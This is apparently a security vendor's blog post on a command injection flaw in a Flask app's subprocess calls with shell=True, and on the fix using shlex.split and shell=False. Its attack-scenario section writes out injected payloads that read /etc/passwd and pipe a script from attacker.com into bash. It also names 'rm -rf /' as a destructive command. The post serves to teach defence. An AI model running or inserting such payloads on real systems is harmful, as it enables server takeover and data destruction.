Back to Blog
critical SEVERITY5 min read

How Command Injection Happens in Python Flask Applications and How to Fix It

A critical command injection vulnerability was discovered in a Flask application where `subprocess.Popen` and `subprocess.run` were called with `shell=True`, allowing attackers to execute arbitrary system commands through shell metacharacters. The fix replaces dangerous shell execution with `shlex.split()` for proper argument parsing and sets `shell=False` to prevent command injection attacks.

O
By Orbis AppSec
Published August 30, 2026Reviewed August 30, 2026

Answer Summary

Command injection (CWE-78) in Python occurs when user input is passed to subprocess functions with `shell=True`, allowing attackers to inject shell metacharacters and execute arbitrary commands. In this Flask application, both `subprocess.Popen` and `subprocess.run` were vulnerable in `app.py`. The fix uses `shlex.split()` to safely tokenize commands and sets `shell=False` to prevent shell interpretation of metacharacters.

Vulnerability at a Glance

cweCWE-78
fixReplace shell=True with shell=False and use shlex.split() for argument parsing
riskRemote code execution allowing full server compromise
languagePython (Flask)
root causeUsing shell=True with user-controlled input in subprocess calls
vulnerabilityCommand Injection (OS Command Injection)

Introduction

The app.py file in this Flask application handles command execution through WebSocket connections, but a critical flaw in the executar_comando and executar_comando_sync functions created a severe security risk. Both functions used subprocess.Popen and subprocess.run with shell=True, passing command strings directly to the system shell without any sanitization.

This pattern appeared in three separate locations within the file:
- Line 15: subprocess.Popen(comando, shell=True, ...)
- Line 38: subprocess.run(comando, shell=True, ...)
- A duplicate executar_comando_sync function also using subprocess.Popen with shell=True

For developers building web applications that execute system commands, this vulnerability demonstrates why shell execution should be avoided entirely when handling any form of user input.

The Vulnerability Explained

Command injection occurs when an application passes user-controlled data to a system shell without proper sanitization. When shell=True is set in Python's subprocess functions, the command string is interpreted by the system shell (/bin/sh on Unix systems), which processes shell metacharacters like ;, |, &&, $(), and backticks.

Here's the vulnerable code pattern that existed in app.py:

def executar_comando(comando, sid):
    try:
        process = subprocess.Popen(
            comando, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
        )

And the synchronous version:

def executar_comando_sync(comando):
    try:
        result = subprocess.run(
            comando, shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
        )

Attack Scenario

Since this is a Flask web service with WebSocket support (using Flask-SocketIO), the comando parameter could originate from client requests. An attacker could craft a malicious payload like:

legitimate_command; cat /etc/passwd

Or more dangerously:

legitimate_command && curl http://attacker.com/shell.sh | bash

When passed to subprocess.Popen with shell=True, the shell interprets the semicolon as a command separator, executing both the intended command and the attacker's injected command. This grants the attacker full control over the server with the same privileges as the web application process.

Real-World Impact

For this specific application, the impact is severe:
- Full server compromise: Attackers can read sensitive files, install backdoors, or pivot to other systems
- Data exfiltration: Database credentials, API keys, and user data could be stolen
- Denial of service: Commands like rm -rf / or fork bombs could destroy the system
- Lateral movement: The compromised server could be used to attack internal network resources

The application also ran with debug=True in production, which compounds the risk by exposing detailed error messages and potentially enabling the Werkzeug debugger.

The Fix

The fix implements three critical changes across all vulnerable code paths:

1. Replace shell=True with shell=False

Setting shell=False prevents the command from being interpreted by the system shell, eliminating shell metacharacter processing entirely.

2. Use shlex.split() for Safe Argument Parsing

The shlex module provides shell-like parsing without actual shell execution. It properly handles quoted strings and escaping while converting a command string into a list of arguments.

3. Disable Debug Mode

The fix also sets debug=False in the socketio.run() calls to prevent information disclosure in production.

Before and After Comparison

Before (Vulnerable):

import subprocess

def executar_comando(comando, sid):
    try:
        process = subprocess.Popen(
            comando, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
        )

After (Secure):

import subprocess
import shlex

def executar_comando(comando, sid):
    try:
        process = subprocess.Popen(
            shlex.split(comando), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
        )

The same pattern was applied to all three vulnerable locations:
- executar_comando function (async with WebSocket output streaming)
- executar_comando_sync function (synchronous execution using subprocess.run)
- Duplicate executar_comando_sync function (using subprocess.Popen)

Why This Works

With shell=False, subprocess expects a list of arguments where the first element is the executable and subsequent elements are arguments. The shlex.split() function safely tokenizes a command string:

>>> import shlex
>>> shlex.split("echo 'hello world'; rm -rf /")
['echo', 'hello world; rm -rf /']

Notice how the malicious payload becomes a single argument to echo rather than a separate command. The shell metacharacters are treated as literal characters, not command separators.

Prevention & Best Practices

1. Always Use shell=False (Default)

Python's subprocess functions default to shell=False for a reason. When you must execute commands:

# Safe: arguments as a list
subprocess.run(['ls', '-la', '/tmp'], shell=False)

# Safe: using shlex for string commands
subprocess.run(shlex.split('ls -la /tmp'), shell=False)

2. Validate and Sanitize Input

Even with shell=False, validate that command arguments match expected patterns:

import re

def safe_filename(filename):
    if not re.match(r'^[a-zA-Z0-9_.-]+$', filename):
        raise ValueError("Invalid filename")
    return filename

3. Use Allowlists for Commands

Instead of accepting arbitrary commands, define a set of allowed operations:

ALLOWED_COMMANDS = {
    'status': ['systemctl', 'status', 'myservice'],
    'restart': ['systemctl', 'restart', 'myservice'],
}

def execute_allowed(action):
    if action not in ALLOWED_COMMANDS:
        raise ValueError("Unknown action")
    return subprocess.run(ALLOWED_COMMANDS[action], capture_output=True)

4. Disable Debug Mode in Production

Never run Flask applications with debug=True in production:

if __name__ == '__main__':
    socketio.run(app, host="0.0.0.0", debug=False, use_reloader=False)

5. Use Static Analysis Tools

Tools like Bandit can detect shell=True patterns:

bandit -r app.py

Key Takeaways

  • The executar_comando functions in app.py were vulnerable because they passed unsanitized strings to shell=True subprocess calls
  • Using shlex.split() with shell=False neutralizes shell metacharacters by treating them as literal argument characters
  • All three subprocess call sites required fixing: the async Popen, the sync run(), and the duplicate Popen function
  • Debug mode was also disabled to prevent information disclosure through Flask's error pages
  • Command execution in web applications requires defense-in-depth: argument parsing, input validation, and principle of least privilege

How Orbis AppSec Detected This

  • Source: User-controlled input from request handlers passed to the comando parameter
  • Sink: subprocess.Popen(..., shell=True) in app.py:15 and subprocess.run(..., shell=True) in app.py:38
  • Missing control: No input sanitization, no argument list conversion, shell execution enabled
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced shell=True with shell=False and added shlex.split() to safely tokenize command strings into argument lists

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in app.py demonstrates a common but critical mistake: trusting user input in shell commands. The combination of shell=True with unsanitized input created a direct path from HTTP requests to arbitrary code execution on the server.

The fix is straightforward but essential: use shlex.split() to safely parse command strings and always set shell=False to prevent shell metacharacter interpretation. For Flask applications handling command execution, these changes transform a critical vulnerability into a secure operation while maintaining the same functionality.

Remember: if you find yourself reaching for shell=True, stop and reconsider. There's almost always a safer alternative.

References

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where an attacker can execute arbitrary operating system commands on a server by injecting shell metacharacters (like `;`, `|`, `&&`) into user-controlled input that gets passed to a shell interpreter.

How do you prevent command injection in Python?

Use `subprocess` functions with `shell=False` and pass arguments as a list. Use `shlex.split()` to safely tokenize command strings. Never concatenate user input directly into shell commands.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation alone is insufficient because shell metacharacters are numerous and context-dependent. The safest approach is to avoid shell execution entirely by using `shell=False` with argument lists.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep, Bandit, and CodeQL can detect `shell=True` patterns and flag potential command injection vulnerabilities in subprocess calls.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1

Related Articles

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/platform.js` where the `killPort()` function used `exec()` with string concatenation, allowing potential shell command injection through the `port` parameter. The fix replaces all `exec()` calls with `execFile()`, which bypasses shell interpretation entirely and passes arguments as an array, eliminating the injection vector.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A GitHub Actions workflow file contained a critical shell injection vulnerability where user-controlled inputs were directly interpolated into a shell command using `${{ }}` syntax. By moving the untrusted data into environment variables and properly quoting them, the vulnerability was eliminated while preserving all functionality.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in Vite's `shared.js` file where the `gitExec()` function used `execSync()` with string concatenation, allowing potential shell metacharacter injection. The fix replaces `execSync()` with `spawnSync()` and passes Git arguments as an array instead of a shell string, eliminating the injection vector entirely.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. The fix upgrades shell-quote from version 1.8.2 to 1.9.0 using npm overrides to ensure the patched version is used throughout the dependency tree, closing this dangerous attack vector.

high

How command injection happens in Node.js child_process calls and how to fix it

A high-severity command injection risk was discovered in `npm/holidaytw/lib/installer.js` where the `verifyBinaryExecutes` function passed a user-influenced `binPath` argument directly to `spawnSync` without sanitization. The fix replaces `spawnSync` with `execFileSync` combined with `path.resolve()` and explicit `shell: false`, eliminating the shell interpretation attack surface. This proactive hardening raises the bar against automated exploit-chaining tools even in local CLI contexts.

critical

How API Key Exposure in URL Parameters happens in Python and how to fix it

The Wine Cellar Home Assistant integration exposed Gemini API keys by transmitting them as URL query parameters in HTTP requests. This critical vulnerability allowed API keys to be logged in server logs, proxy caches, and browser history. The fix moved authentication to the secure `x-goog-api-key` HTTP header, preventing credential leakage.